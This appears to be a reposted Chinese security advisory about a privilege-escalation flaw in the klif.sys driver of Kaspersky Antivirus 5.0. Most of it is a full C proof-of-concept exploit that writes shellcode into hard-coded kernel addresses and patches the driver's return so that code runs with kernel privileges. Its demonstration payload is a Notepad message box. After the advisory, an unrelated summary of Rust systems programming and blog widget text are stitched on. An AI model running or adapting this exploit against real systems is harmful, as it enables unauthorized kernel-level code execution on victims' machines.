Kaspersky杀毒软件klif.sys权限提升漏洞

本文介绍了一个影响Kaspersky Antivirus 5.0版本的安全漏洞,该漏洞允许本地攻击者通过klif.sys驱动程序的不当权限处理来执行任意代码并提升权限。文章提供了详细的漏洞利用代码及步骤,并建议用户关注官方更新。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

受影响系统:
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述:
--------------------------------------------------------------------------------


Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源:Ilya Rabinovich (info@softsphere.com

链接:http://marc.theaimsgroup.com/?l= ... 17777430401&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
0xFF,0xD0, //call eax
0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
0xFF,0xD0, //call eax
0x85,0xC0, //test eax,eax
0x74,0x03, //je +03
0xC2,0x04,0x00, //retn 4
0x6A,0x00, //push 0
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
0xFF,0xD0, //call eax
0xC2,0x04,0x00 //retn 4
};

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");

FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
*(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

PCHAR pNotepadName=(PCHAR)0xBE938200;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

lstrcpy(pNotepadName,temp_buffer);

PCHAR pMessage=(PCHAR)0xBE938400;

lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

memmove(pCodeBase,code,sizeof(code));

*pJmpAddress=(DWORD)pCodeBase;

memmove(pKAVRet,jmp_code,sizeof(jmp_code));

return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

UCHAR retn_4[]={0xC2,0x04,0x00};

memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

UCHAR retn_4[]={0xC2,0x04,0x00};

__try{

for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

if(memcmp(pKAVRets,retn_4,sizeof(retn_4))==0)
return pKAVRets;

}

}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /
installed",NULL,0);return NULL;}


MessageBox(NULL,"Wrong KAV Version. You need 5.0.227, 5.0.228 or 5.0.335 versions of /
KAV",NULL,0);return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

pKAVRet=GetKAVRetAddress();

if(NULL==pKAVRet)
return;


if(!LoadExploitIntoKernelMemory())
return;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

PROCESS_INFORMATION pi;

STARTUPINFO si={0};
si.cb=sizeof(si);

CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);

WaitForSingleObject(pi.hProcess,INFINITE);

MessageBox(NULL,"Now you may start your own Notepad instance to check this /
exploit!","KAV_EXPLOITER",0);

MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

UnloadExploitFromKernelMemory();
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kaspersky.com/
内容概要:本文详细介绍了Rust在系统编程中的应用,包括基础知识、核心技术及开发流程。首先阐述了Rust语言的基础及环境搭建,强调了其强类型系统和现代语法。接着深入探讨了所有权机制与内存安全,指出Rust通过所有权系统确保内存安全,避免悬垂指针和内存泄漏。再者,讲解了Rust的并发编程模型,通过消息传递和无数据竞争的线程模型实现安全并发。此外,讨论了Rust在底层硬件访问与嵌入式开发中的应用,展示了其在资源受限平台上的适应性。随后,介绍了系统调用与内核模块开发,说明了Rust如何调用操作系统底层API并实现与现有内核代码的无缝集成。还提及了性能优化与调试技巧,如使用编译器优化选项和工具链支持。最后,通过实战项目案例解析和社区资源展望,展示了Rust在系统编程领域的潜力和发展前景。; 适合人群:有一定编程基础,尤其是对系统编程感兴趣的开发者,包括操作系统内核开发、驱动程序编写、嵌入式系统开发等领域的工程师。; 使用场景及目标:①学习Rust语言的基础知识和环境搭建,掌握强类型系统和现代语法;②理解所有权机制与内存安全,避免传统系统编程中的常见错误;③掌握并发编程模型,实现安全高效的多线程操作;④了解底层硬件访问和嵌入式开发,适应资源受限平台;⑤掌握系统调用与内核模块开发,实现与现有系统的无缝集成;⑥学习性能优化与调试技巧,提高系统软件的运行效率和稳定性;⑦通过实战项目案例解析,掌握系统编程的实际应用。; 其他说明:Rust作为系统编程的新选择,不仅提升了传统系统软件的安全性,还通过现代语言特性和工具链优化了开发效率。开发者应充分利用Rust的特性,构建更加健壮、高效的系统软件,迎接未来计算机领域的新挑战。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值